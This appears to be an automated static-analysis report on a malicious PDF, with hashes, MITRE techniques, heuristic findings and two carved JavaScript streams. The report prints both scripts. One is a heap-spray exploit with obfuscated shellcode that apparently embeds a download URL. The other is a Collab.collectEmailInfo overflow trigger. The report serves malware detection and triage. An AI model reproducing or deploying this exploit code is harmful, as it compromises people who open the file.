Malicious PDF — malware analysis report

Static analysis result for SHA-256 b269b5c1ff7be8f1…

MALICIOUS

PDF

1.5 KB First seen: 2026-05-10
MD5: 1a3683a77a959ad88ad702d83ec95f7a SHA-1: bd633ad3644c6f270951ed852f5a600c67fe1a17 SHA-256: b269b5c1ff7be8f18a415bf1a8d3a3dc77d686a532d253be44afa302042ad4c0
148 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell T1204.002 Malicious File

The PDF file contains embedded JavaScript, indicated by multiple heuristic firings including PDF_JAVASCRIPT and PDF_JS. The unescape() function was used, suggesting obfuscation of the script content. The primary purpose appears to be the execution of this embedded JavaScript, likely to exploit a vulnerability within the PDF reader or to download and execute a secondary payload. The specific JavaScript files extracted are javascript_obj111111_000.js and javascript_obj111112_001.js.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 4

  • JavaScript action low 2 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
    hpbsf=unescape(hpbsf);
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj111111_000.js pdf-javascript-stream PDF /JS object 111111 at offset 0x160 2208 bytes
SHA-256: c872f7b0784cc98ad687a17955fb52dffc48bd95b8f6bef1999cc96a7acd28bf
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 3 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
var hpbsf = 'ARG0c0cARG0c0c'.replace(/ARG/g,'%u');
var ctfsx = 'ARG9090ARG9090'.replace(/ARG/g,'%u');
var jtftkm7 = 'Z535XZ5251Z5756Z9c55ZXXe8ZXXXXZ5dXXZed83Z31XdZ64cXZ4XX3Z783XZ8bXcZXc4XZ7X8bZad1cZ4X8bZebX8Z8bX9Z344XZ4X8dZ8b7cZ3c4XZ5756Z5ebeZXXX1ZX1XXZbfeeZX14eZXXXXZefX1Zd6e8ZXXX1Z5fXXZ895eZ81eaZ5ec2ZXXX1Z52XXZ8X68ZXXXXZffXXZ4e95ZXXX1Z89XXZ81eaZ5ec2ZXXX1Z31XXZX1f6Z8ac2Z359cZX263ZXXXXZfb8XZ74XXZ88X6Z321cZeb46Zc6eeZ32X4Z89XXZ81eaZ45c2ZXXX2Z52XXZ95ffZX152ZXXXXZea89Zc281ZX25XZXXXXZ5X52Z95ffZX156ZXXXXZXX6aZXX6aZea89Zc281ZX15eZXXXXZ8952Z81eaZ78c2ZXXX2Z52XXZXX6aZdXffZX56aZea89Zc281ZX15eZXXXXZff52Z5a95ZXXX1Z89XXZ81eaZ5ec2ZXXX1Z52XXZ8X68ZXXXXZffXXZ4e95ZXXX1Z89XXZ81eaZ5ec2ZXXX1Z31XXZX1f6Z8ac2Z359cZX26eZXXXXZfb8XZ74XXZ88X6Z321cZeb46Zc6eeZ32X4Z89XXZ81eaZ45c2ZXXX2Z52XXZ95ffZX152ZXXXXZea89Zc281ZX25XZXXXXZ5X52Z95ffZX156ZXXXXZXX6aZXX6aZea89Zc281ZX15eZXXXXZ8952Z81eaZa6c2ZXXX2Z52XXZXX6aZdXffZX56aZea89Zc281ZX15eZXXXXZff52Z5a95ZXXX1Z9dXXZ5f5dZ5a5eZ5b59Zc358ZXXXXZXXXXZXXXXZXXXXZXXXXZXXXXZXXXXZXXXXZ6547Z5474Z6d65Z5X7XZ7461Z4168Z4cXXZ616fZ4c64Z6269Z6172Z7972ZXX41Z6547Z5X74Z6f72Z4163Z6464Z6572Z7373Z57XXZ6e69Z7845Z6365ZbbXXZf289Zf789ZcX3XZ75aeZ29fdZ89f7Z31f9ZbecXZXX3cZXXXXZb5X3ZX21bZXXXXZad66Z85X3ZX21bZXXXXZ7X8bZ8378Z1cc6Zb5X3ZX21bZXXXXZbd8dZX21fZXXXXZX3adZ1b85ZXXX2ZabXXZX3adZ1b85ZXXX2Z5XXXZadabZ85X3ZX21bZXXXXZ5eabZdb31Z56adZ85X3ZX21bZXXXXZc689Zd789Zfc51Za6f3Z7459Z5eX4Zeb43Z5ee9Zd193ZX3eXZ2785ZXXX2Z31XXZ96f6Zad66ZeXc1ZX3X2Z1f85ZXXX2Z89XXZadc6Z85X3ZX21bZXXXXZebc3ZXX1XZXXXXZXXXXZXXXXZXXXXZXXXXZXXXXZXXXXZ89XXZ1b85ZXXX2Z56XXZe857Zff58ZffffZ5e5fZX1abZ8XceZbb3eZX274ZedebZ55c3Z4c52Z4f4dZ2e4eZ4c44ZXX4cZ5255Z444cZ776fZ6c6eZ616fZ5464Z466fZ6c69Z4165Z7XXXZ6664Z7X75Z2e64Z7865ZXX65Z7263Z7361Z2e68Z687XZXX7XZ7468Z7X74Z2F3AZ662FZ7661Z726FZ7469Z6E65Z7765Z2E73Z6E69Z6F66Z372FZ2F7AZ2E6CZ687XZ3F7XZ3D69ZXX34Z9XXX'.replace(/Z/g,'%u').replace(/X/g,'0');
hpbsf=unescape(hpbsf);
ctfsx=unescape(ctfsx);
jtftkm7=unescape(jtftkm7);
while (ctfsx.length * 2 < 0x3fffc8-jtftkm7.length * 2){ctfsx += ctfsx;}
ctfsx = ctfsx.substr(0, (0x3fffc8-jtftkm7.length * 2) / 2);
var bohnizh6 = new Array();
for (var elxpjr = 0; elxpjr < 47; elxpjr ++ ){bohnizh6[elxpjr] = ctfsx + jtftkm7;}
while (hpbsf.length < 44952){hpbsf += hpbsf;}
javascript_obj111112_001.js pdf-javascript-stream PDF /JS object 111112 at offset 0x545 65 bytes
SHA-256: e2aa7e89c48150ab18b00d50b4c0c24c350ddbc49c8b778995703431422c8b6e
Preview script
First 1,000 lines of the extracted script
this.collabStore = Collab.collectEmailInfo({subj:"", msg:hpbsf});

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